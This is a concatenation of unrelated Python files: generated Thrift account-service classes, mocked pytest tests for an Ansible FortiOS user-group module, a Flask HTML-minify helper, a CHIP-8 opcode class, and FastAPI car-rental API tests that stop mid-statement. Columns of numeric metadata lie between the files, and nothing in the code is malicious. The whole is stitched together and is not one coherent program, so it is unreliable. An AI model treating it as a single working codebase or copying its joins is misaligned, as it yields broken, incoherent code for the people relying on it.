return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class get_version_result:
"""
Attributes:
- success
"""
thrift_spec = (
(0, TType.DOUBLE, 'success', None, None, ), # 0
)
def __init__(self, success=None,):
self.success = success
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 0:
if ftype == TType.DOUBLE:
self.success = iprot.readDouble();
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('get_version_result')
if self.success is not None:
oprot.writeFieldBegin('success', TType.DOUBLE, 0)
oprot.writeDouble(self.success)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __hash__(self):
value = 17
value = (value * 31) ^ hash(self.success)
return value
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class create_account_args:
"""
Attributes:
- username
- email
- password
- repo_name
- app_id
- app_token
"""
thrift_spec = (
None, # 0
(1, TType.STRING, 'username', None, None, ), # 1
(2, TType.STRING, 'email', None, None, ), # 2
(3, TType.STRING, 'password', None, None, ), # 3
(4, TType.STRING, 'repo_name', None, None, ), # 4
(5, TType.STRING, 'app_id', None, None, ), # 5
(6, TType.STRING, 'app_token', None, None, ), # 6
)
def __init__(self, username=None, email=None, password=None, repo_name=None, app_id=None, app_token=None,):
self.username = username
self.email = email
self.password = password
self.repo_name = repo_name
self.app_id = app_id
self.app_token = app_token
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.username = iprot.readString();
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRING:
self.email = iprot.readString();
else:
iprot.skip(ftype)
elif fid == 3:
if ftype == TType.STRING:
self.password = iprot.readString();
else:
iprot.skip(ftype)
elif fid == 4:
if ftype == TType.STRING:
self.repo_name = iprot.readString();
else:
iprot.skip(ftype)
elif fid == 5:
if ftype == TType.STRING:
self.app_id = iprot.readString();
else:
iprot.skip(ftype)
elif fid == 6:
if ftype == TType.STRING:
self.app_token = iprot.readString();
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('create_account_args')
if self.username is not None:
oprot.writeFieldBegin('username', TType.STRING, 1)
oprot.writeString(self.username)
oprot.writeFieldEnd()
if self.email is not None:
oprot.writeFieldBegin('email', TType.STRING, 2)
oprot.writeString(self.email)
oprot.writeFieldEnd()
if self.password is not None:
oprot.writeFieldBegin('password', TType.STRING, 3)
oprot.writeString(self.password)
oprot.writeFieldEnd()
if self.repo_name is not None:
oprot.writeFieldBegin('repo_name', TType.STRING, 4)
oprot.writeString(self.repo_name)
oprot.writeFieldEnd()
if self.app_id is not None:
oprot.writeFieldBegin('app_id', TType.STRING, 5)
oprot.writeString(self.app_id)
oprot.writeFieldEnd()
if self.app_token is not None:
oprot.writeFieldBegin('app_token', TType.STRING, 6)
oprot.writeString(self.app_token)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __hash__(self):
value = 17
value = (value * 31) ^ hash(self.username)
value = (value * 31) ^ hash(self.email)
value = (value * 31) ^ hash(self.password)
value = (value * 31) ^ hash(self.repo_name)
value = (value * 31) ^ hash(self.app_id)
value = (value * 31) ^ hash(self.app_token)
return value
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class create_account_result:
"""
Attributes:
- success
- ex
"""
thrift_spec = (
(0, TType.BOOL, 'success', None, None, ), # 0
(1, TType.STRUCT, 'ex', (AccountException, AccountException.thrift_spec), None, ), # 1
)
def __init__(self, success=None, ex=None,):
self.success = success
self.ex = ex
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 0:
if ftype == TType.BOOL:
self.success = iprot.readBool();
else:
iprot.skip(ftype)
elif fid == 1:
if ftype == TType.STRUCT:
self.ex = AccountException()
self.ex.read(iprot)
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('create_account_result')
if self.success is not None:
oprot.writeFieldBegin('success', TType.BOOL, 0)
oprot.writeBool(self.success)
oprot.writeFieldEnd()
if self.ex is not None:
oprot.writeFieldBegin('ex', TType.STRUCT, 1)
self.ex.write(oprot)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __hash__(self):
value = 17
value = (value * 31) ^ hash(self.success)
value = (value * 31) ^ hash(self.ex)
return value
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class remove_account_args:
"""
Attributes:
- username
- app_id
- app_token
"""
thrift_spec = (
None, # 0
(1, TType.STRING, 'username', None, None, ), # 1
(2, TType.STRING, 'app_id', None, None, ), # 2
(3, TType.STRING, 'app_token', None, None, ), # 3
)
def __init__(self, username=None, app_id=None, app_token=None,):
self.username = username
self.app_id = app_id
self.app_token = app_token
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.username = iprot.readString();
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRING:
self.app_id = iprot.readString();
else:
iprot.skip(ftype)
elif fid == 3:
if ftype == TType.STRING:
self.app_token = iprot.readString();
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('remove_account_args')
if self.username is not None:
oprot.writeFieldBegin('username', TType.STRING, 1)
oprot.writeString(self.username)
oprot.writeFieldEnd()
if self.app_id is not None:
oprot.writeFieldBegin('app_id', TType.STRING, 2)
oprot.writeString(self.app_id)
oprot.writeFieldEnd()
if self.app_token is not None:
oprot.writeFieldBegin('app_token', TType.STRING, 3)
oprot.writeString(self.app_token)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __hash__(self):
value = 17
value = (value * 31) ^ hash(self.username)
value = (value * 31) ^ hash(self.app_id)
value = (value * 31) ^ hash(self.app_token)
return value
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class remove_account_result:
"""
Attributes:
- success
- ex
"""
thrift_spec = (
(0, TType.BOOL, 'success', None, None, ), # 0
(1, TType.STRUCT, 'ex', (AccountException, AccountException.thrift_spec), None, ), # 1
)
def __init__(self, success=None, ex=None,):
self.success = success
self.ex = ex
def read(self, iprot):
if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None and fastbinary is not None:
fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 0:
if ftype == TType.BOOL:
self.success = iprot.readBool();
else:
iprot.skip(ftype)
elif fid == 1:
if ftype == TType.STRUCT:
self.ex = AccountException()
self.ex.read(iprot)
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None and fastbinary is not None:
oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('remove_account_result')
if self.success is not None:
oprot.writeFieldBegin('success', TType.BOOL, 0)
oprot.writeBool(self.success)
oprot.writeFieldEnd()
if self.ex is not None:
oprot.writeFieldBegin('ex', TType.STRUCT, 1)
self.ex.write(oprot)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __hash__(self):
value = 17
value = (value * 31) ^ hash(self.success)
value = (value * 31) ^ hash(self.ex)
return value
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.iteritems()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
| 30.372714
| 188
| 0.662098
| 2,603
| 21,595
| 5.245486
| 0.061468
| 0.016112
| 0.029002
| 0.026366
| 0.84803
| 0.808994
| 0.780431
| 0.761682
| 0.745862
| 0.740662
| 0
| 0.006079
| 0.222968
| 21,595
| 710
| 189
| 30.415493
| 0.807628
| 0.008752
| 0
| 0.785199
| 1
| 0
| 0.030047
| 0.002029
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0.030686
| 0.01083
| null | null | 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
b7aa50bdb08ec3ed140b773c48defbe495d106df
| 14,741
|
py
|
Python
|
v6.0.5/user/test_fortios_user_group.py
|
fortinet-solutions-cse/ansible_fgt_modules
|
c45fba49258d7c9705e7a8fd9c2a09ea4c8a4719
|
[
"Apache-2.0"
] | 14
|
2018-09-25T20:35:25.000Z
|
2021-07-14T04:30:54.000Z
|
v6.0.5/user/test_fortios_user_group.py
|
fortinet-solutions-cse/ansible_fgt_modules
|
c45fba49258d7c9705e7a8fd9c2a09ea4c8a4719
|
[
"Apache-2.0"
] | 32
|
2018-10-09T04:13:42.000Z
|
2020-05-11T07:20:28.000Z
|
v6.0.5/user/test_fortios_user_group.py
|
fortinet-solutions-cse/ansible_fgt_modules
|
c45fba49258d7c9705e7a8fd9c2a09ea4c8a4719
|
[
"Apache-2.0"
] | 11
|
2018-10-09T00:14:53.000Z
|
2021-11-03T10:54:09.000Z
|
# Copyright 2019 Fortinet, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible. If not, see <https://www.gnu.org/licenses/>.
# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
import os
import json
import pytest
from mock import ANY
from ansible.module_utils.network.fortios.fortios import FortiOSHandler
try:
from ansible.modules.network.fortios import fortios_user_group
except ImportError:
pytest.skip("Could not load required modules for testing", allow_module_level=True)
@pytest.fixture(autouse=True)
def connection_mock(mocker):
connection_class_mock = mocker.patch('ansible.modules.network.fortios.fortios_user_group.Connection')
return connection_class_mock
fos_instance = FortiOSHandler(connection_mock)
def test_user_group_creation(mocker):
schema_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.schema')
set_method_result = {'status': 'success', 'http_method': 'POST', 'http_status': 200}
set_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.set', return_value=set_method_result)
input_data = {
'username': 'admin',
'state': 'present',
'user_group': {
'auth_concurrent_override': 'enable',
'auth_concurrent_value': '4',
'authtimeout': '5',
'company': 'optional',
'email': 'disable',
'expire': '8',
'expire_type': 'immediately',
'group_type': 'firewall',
'http_digest_realm': 'test_value_11',
'id': '12',
'max_accounts': '13',
'mobile_phone': 'disable',
'multiple_guest_add': 'disable',
'name': 'default_name_16',
'password': 'auto-generate',
'sms_custom_server': 'test_value_18',
'sms_server': 'fortiguard',
'sponsor': 'optional',
'sso_attribute_value': 'test_value_21',
'user_id': 'email',
'user_name': 'disable'
},
'vdom': 'root'}
is_error, changed, response = fortios_user_group.fortios_user(input_data, fos_instance)
expected_data = {
'auth-concurrent-override': 'enable',
'auth-concurrent-value': '4',
'authtimeout': '5',
'company': 'optional',
'email': 'disable',
'expire': '8',
'expire-type': 'immediately',
'group-type': 'firewall',
'http-digest-realm': 'test_value_11',
'id': '12',
'max-accounts': '13',
'mobile-phone': 'disable',
'multiple-guest-add': 'disable',
'name': 'default_name_16',
'password': 'auto-generate',
'sms-custom-server': 'test_value_18',
'sms-server': 'fortiguard',
'sponsor': 'optional',
'sso-attribute-value': 'test_value_21',
'user-id': 'email',
'user-name': 'disable'
}
set_method_mock.assert_called_with('user', 'group', data=expected_data, vdom='root')
schema_method_mock.assert_not_called()
assert not is_error
assert changed
assert response['status'] == 'success'
assert response['http_status'] == 200
def test_user_group_creation_fails(mocker):
schema_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.schema')
set_method_result = {'status': 'error', 'http_method': 'POST', 'http_status': 500}
set_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.set', return_value=set_method_result)
input_data = {
'username': 'admin',
'state': 'present',
'user_group': {
'auth_concurrent_override': 'enable',
'auth_concurrent_value': '4',
'authtimeout': '5',
'company': 'optional',
'email': 'disable',
'expire': '8',
'expire_type': 'immediately',
'group_type': 'firewall',
'http_digest_realm': 'test_value_11',
'id': '12',
'max_accounts': '13',
'mobile_phone': 'disable',
'multiple_guest_add': 'disable',
'name': 'default_name_16',
'password': 'auto-generate',
'sms_custom_server': 'test_value_18',
'sms_server': 'fortiguard',
'sponsor': 'optional',
'sso_attribute_value': 'test_value_21',
'user_id': 'email',
'user_name': 'disable'
},
'vdom': 'root'}
is_error, changed, response = fortios_user_group.fortios_user(input_data, fos_instance)
expected_data = {
'auth-concurrent-override': 'enable',
'auth-concurrent-value': '4',
'authtimeout': '5',
'company': 'optional',
'email': 'disable',
'expire': '8',
'expire-type': 'immediately',
'group-type': 'firewall',
'http-digest-realm': 'test_value_11',
'id': '12',
'max-accounts': '13',
'mobile-phone': 'disable',
'multiple-guest-add': 'disable',
'name': 'default_name_16',
'password': 'auto-generate',
'sms-custom-server': 'test_value_18',
'sms-server': 'fortiguard',
'sponsor': 'optional',
'sso-attribute-value': 'test_value_21',
'user-id': 'email',
'user-name': 'disable'
}
set_method_mock.assert_called_with('user', 'group', data=expected_data, vdom='root')
schema_method_mock.assert_not_called()
assert is_error
assert not changed
assert response['status'] == 'error'
assert response['http_status'] == 500
def test_user_group_removal(mocker):
schema_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.schema')
delete_method_result = {'status': 'success', 'http_method': 'POST', 'http_status': 200}
delete_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.delete', return_value=delete_method_result)
input_data = {
'username': 'admin',
'state': 'absent',
'user_group': {
'auth_concurrent_override': 'enable',
'auth_concurrent_value': '4',
'authtimeout': '5',
'company': 'optional',
'email': 'disable',
'expire': '8',
'expire_type': 'immediately',
'group_type': 'firewall',
'http_digest_realm': 'test_value_11',
'id': '12',
'max_accounts': '13',
'mobile_phone': 'disable',
'multiple_guest_add': 'disable',
'name': 'default_name_16',
'password': 'auto-generate',
'sms_custom_server': 'test_value_18',
'sms_server': 'fortiguard',
'sponsor': 'optional',
'sso_attribute_value': 'test_value_21',
'user_id': 'email',
'user_name': 'disable'
},
'vdom': 'root'}
is_error, changed, response = fortios_user_group.fortios_user(input_data, fos_instance)
delete_method_mock.assert_called_with('user', 'group', mkey=ANY, vdom='root')
schema_method_mock.assert_not_called()
assert not is_error
assert changed
assert response['status'] == 'success'
assert response['http_status'] == 200
def test_user_group_deletion_fails(mocker):
schema_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.schema')
delete_method_result = {'status': 'error', 'http_method': 'POST', 'http_status': 500}
delete_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.delete', return_value=delete_method_result)
input_data = {
'username': 'admin',
'state': 'absent',
'user_group': {
'auth_concurrent_override': 'enable',
'auth_concurrent_value': '4',
'authtimeout': '5',
'company': 'optional',
'email': 'disable',
'expire': '8',
'expire_type': 'immediately',
'group_type': 'firewall',
'http_digest_realm': 'test_value_11',
'id': '12',
'max_accounts': '13',
'mobile_phone': 'disable',
'multiple_guest_add': 'disable',
'name': 'default_name_16',
'password': 'auto-generate',
'sms_custom_server': 'test_value_18',
'sms_server': 'fortiguard',
'sponsor': 'optional',
'sso_attribute_value': 'test_value_21',
'user_id': 'email',
'user_name': 'disable'
},
'vdom': 'root'}
is_error, changed, response = fortios_user_group.fortios_user(input_data, fos_instance)
delete_method_mock.assert_called_with('user', 'group', mkey=ANY, vdom='root')
schema_method_mock.assert_not_called()
assert is_error
assert not changed
assert response['status'] == 'error'
assert response['http_status'] == 500
def test_user_group_idempotent(mocker):
schema_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.schema')
set_method_result = {'status': 'error', 'http_method': 'DELETE', 'http_status': 404}
set_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.set', return_value=set_method_result)
input_data = {
'username': 'admin',
'state': 'present',
'user_group': {
'auth_concurrent_override': 'enable',
'auth_concurrent_value': '4',
'authtimeout': '5',
'company': 'optional',
'email': 'disable',
'expire': '8',
'expire_type': 'immediately',
'group_type': 'firewall',
'http_digest_realm': 'test_value_11',
'id': '12',
'max_accounts': '13',
'mobile_phone': 'disable',
'multiple_guest_add': 'disable',
'name': 'default_name_16',
'password': 'auto-generate',
'sms_custom_server': 'test_value_18',
'sms_server': 'fortiguard',
'sponsor': 'optional',
'sso_attribute_value': 'test_value_21',
'user_id': 'email',
'user_name': 'disable'
},
'vdom': 'root'}
is_error, changed, response = fortios_user_group.fortios_user(input_data, fos_instance)
expected_data = {
'auth-concurrent-override': 'enable',
'auth-concurrent-value': '4',
'authtimeout': '5',
'company': 'optional',
'email': 'disable',
'expire': '8',
'expire-type': 'immediately',
'group-type': 'firewall',
'http-digest-realm': 'test_value_11',
'id': '12',
'max-accounts': '13',
'mobile-phone': 'disable',
'multiple-guest-add': 'disable',
'name': 'default_name_16',
'password': 'auto-generate',
'sms-custom-server': 'test_value_18',
'sms-server': 'fortiguard',
'sponsor': 'optional',
'sso-attribute-value': 'test_value_21',
'user-id': 'email',
'user-name': 'disable'
}
set_method_mock.assert_called_with('user', 'group', data=expected_data, vdom='root')
schema_method_mock.assert_not_called()
assert not is_error
assert not changed
assert response['status'] == 'error'
assert response['http_status'] == 404
def test_user_group_filter_foreign_attributes(mocker):
schema_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.schema')
set_method_result = {'status': 'success', 'http_method': 'POST', 'http_status': 200}
set_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.set', return_value=set_method_result)
input_data = {
'username': 'admin',
'state': 'present',
'user_group': {
'random_attribute_not_valid': 'tag',
'auth_concurrent_override': 'enable',
'auth_concurrent_value': '4',
'authtimeout': '5',
'company': 'optional',
'email': 'disable',
'expire': '8',
'expire_type': 'immediately',
'group_type': 'firewall',
'http_digest_realm': 'test_value_11',
'id': '12',
'max_accounts': '13',
'mobile_phone': 'disable',
'multiple_guest_add': 'disable',
'name': 'default_name_16',
'password': 'auto-generate',
'sms_custom_server': 'test_value_18',
'sms_server': 'fortiguard',
'sponsor': 'optional',
'sso_attribute_value': 'test_value_21',
'user_id': 'email',
'user_name': 'disable'
},
'vdom': 'root'}
is_error, changed, response = fortios_user_group.fortios_user(input_data, fos_instance)
expected_data = {
'auth-concurrent-override': 'enable',
'auth-concurrent-value': '4',
'authtimeout': '5',
'company': 'optional',
'email': 'disable',
'expire': '8',
'expire-type': 'immediately',
'group-type': 'firewall',
'http-digest-realm': 'test_value_11',
'id': '12',
'max-accounts': '13',
'mobile-phone': 'disable',
'multiple-guest-add': 'disable',
'name': 'default_name_16',
'password': 'auto-generate',
'sms-custom-server': 'test_value_18',
'sms-server': 'fortiguard',
'sponsor': 'optional',
'sso-attribute-value': 'test_value_21',
'user-id': 'email',
'user-name': 'disable'
}
set_method_mock.assert_called_with('user', 'group', data=expected_data, vdom='root')
schema_method_mock.assert_not_called()
assert not is_error
assert changed
assert response['status'] == 'success'
assert response['http_status'] == 200
| 36.8525
| 142
| 0.589444
| 1,542
| 14,741
| 5.351492
| 0.129702
| 0.032719
| 0.035628
| 0.039384
| 0.874939
| 0.867911
| 0.856398
| 0.856398
| 0.856398
| 0.856398
| 0
| 0.017789
| 0.267824
| 14,741
| 399
| 143
| 36.944862
| 0.74678
| 0.045044
| 0
| 0.88724
| 0
| 0
| 0.395776
| 0.093663
| 0
| 0
| 0
| 0
| 0.106825
| 1
| 0.020772
| false
| 0.029674
| 0.023739
| 0
| 0.047478
| 0.002967
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
4d3c8e5aff14e957447961584667d6d95c85583b
| 175
|
py
|
Python
|
portfolio/minify.py
|
belxlaz/portfolio
|
8a324f262c88176447f75c2a6c68c0140b15cd42
|
[
"MIT"
] | 2
|
2015-08-12T18:21:17.000Z
|
2015-08-12T18:23:14.000Z
|
portfolio/minify.py
|
belxlaz/portfolio
|
8a324f262c88176447f75c2a6c68c0140b15cd42
|
[
"MIT"
] | null | null | null |
portfolio/minify.py
|
belxlaz/portfolio
|
8a324f262c88176447f75c2a6c68c0140b15cd42
|
[
"MIT"
] | null | null | null |
from flask import render_template
from htmlmin import minify
def render_minified(*args, **kwargs):
return minify(render_template(*args, **kwargs), remove_comments=True)
| 25
| 73
| 0.782857
| 23
| 175
| 5.782609
| 0.652174
| 0.210526
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.12
| 175
| 6
| 74
| 29.166667
| 0.863636
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| true
| 0
| 0.5
| 0.25
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 1
| 0
| 0
|
0
| 7
|
4d42c64f83c61f1c523d1cb86902ca9850ceda0e
| 188
|
py
|
Python
|
pychip8/operations/bitwise/bitwise_and.py
|
edwin-jones/pychip8
|
da8c850cdba90cbb6d1244de3b6118be8119c67d
|
[
"MIT"
] | null | null | null |
pychip8/operations/bitwise/bitwise_and.py
|
edwin-jones/pychip8
|
da8c850cdba90cbb6d1244de3b6118be8119c67d
|
[
"MIT"
] | 4
|
2018-09-02T20:37:47.000Z
|
2018-09-08T19:11:08.000Z
|
pychip8/operations/bitwise/bitwise_and.py
|
edwin-jones/pychip8
|
da8c850cdba90cbb6d1244de3b6118be8119c67d
|
[
"MIT"
] | null | null | null |
class BitwiseAnd():
def execute(self, opcode, cpu):
cpu.general_purpose_registers[opcode.x] = cpu.general_purpose_registers[opcode.x] & cpu.general_purpose_registers[opcode.y]
| 62.666667
| 132
| 0.760638
| 25
| 188
| 5.48
| 0.48
| 0.218978
| 0.372263
| 0.569343
| 0.715328
| 0.715328
| 0.715328
| 0.715328
| 0.715328
| 0.715328
| 0
| 0
| 0.12234
| 188
| 3
| 132
| 62.666667
| 0.830303
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 12
|
4d71c1c4932a64b3b455eaeae41a622f518e6142
| 3,308
|
py
|
Python
|
backend/app/tests/api/api_v1/test_cars.py
|
BartlomiejRasztabiga/Rentally
|
ba70199d329895a5295ceddd0ecc4c61928890dd
|
[
"MIT"
] | 2
|
2021-01-11T23:24:29.000Z
|
2021-01-12T09:55:58.000Z
|
backend/app/tests/api/api_v1/test_cars.py
|
BartlomiejRasztabiga/Rentally
|
ba70199d329895a5295ceddd0ecc4c61928890dd
|
[
"MIT"
] | null | null | null |
backend/app/tests/api/api_v1/test_cars.py
|
BartlomiejRasztabiga/Rentally
|
ba70199d329895a5295ceddd0ecc4c61928890dd
|
[
"MIT"
] | null | null | null |
from fastapi.testclient import TestClient
from sqlalchemy.orm import Session
from app.core.config import settings
from app.tests.utils.car import create_test_car
def test_create_car(
client: TestClient, superuser_token_headers: dict, db: Session
) -> None:
data = {
"model_name": "Foo",
"type": "CAR",
"fuel_type": "DIESEL",
"gearbox_type": "AUTO",
"ac_type": "AUTO",
"number_of_passengers": 4,
"drive_type": "FRONT",
"number_of_airbags": 8,
"price_per_day": "99.99",
}
response = client.post(
f"{settings.API_V1_STR}/cars/", headers=superuser_token_headers, json=data,
)
assert response.status_code == 200
content = response.json()
assert content["model_name"] == data["model_name"]
assert content["type"] == data["type"]
assert content["number_of_passengers"] == data["number_of_passengers"]
assert "id" in content
def test_get_car_by_id(
client: TestClient, superuser_token_headers: dict, db: Session
) -> None:
car = create_test_car(db)
response = client.get(
f"{settings.API_V1_STR}/cars/{car.id}", headers=superuser_token_headers,
)
assert response.status_code == 200
content = response.json()
assert content["id"] == car.id
assert content["model_name"] == car.model_name
assert content["type"] == "CAR"
assert content["number_of_passengers"] == car.number_of_passengers
def test_get_car_by_id_not_exists(
client: TestClient, superuser_token_headers: dict, db: Session
) -> None:
response = client.get(
f"{settings.API_V1_STR}/cars/999999999999", headers=superuser_token_headers,
)
assert response.status_code == 404
def test_update_car(
client: TestClient, superuser_token_headers: dict, db: Session
) -> None:
car = create_test_car(db)
data = {
"model_name": "test",
"type": "CAR",
"fuel_type": "DIESEL",
"gearbox_type": "AUTO",
"ac_type": "AUTO",
"number_of_passengers": 8,
"drive_type": "FRONT",
"number_of_airbags": 8,
"price_per_day": "99.99",
}
response = client.put(
f"{settings.API_V1_STR}/cars/{car.id}",
headers=superuser_token_headers,
json=data,
)
assert response.status_code == 200
content = response.json()
assert content["id"] == car.id
assert content["model_name"] == car.model_name
assert content["type"] == "CAR"
assert content["number_of_passengers"] == data["number_of_passengers"]
def test_delete_car(
client: TestClient, superuser_token_headers: dict, db: Session
) -> None:
car = create_test_car(db)
response = client.delete(
f"{settings.API_V1_STR}/cars/{car.id}", headers=superuser_token_headers,
)
assert response.status_code == 200
response = client.get(
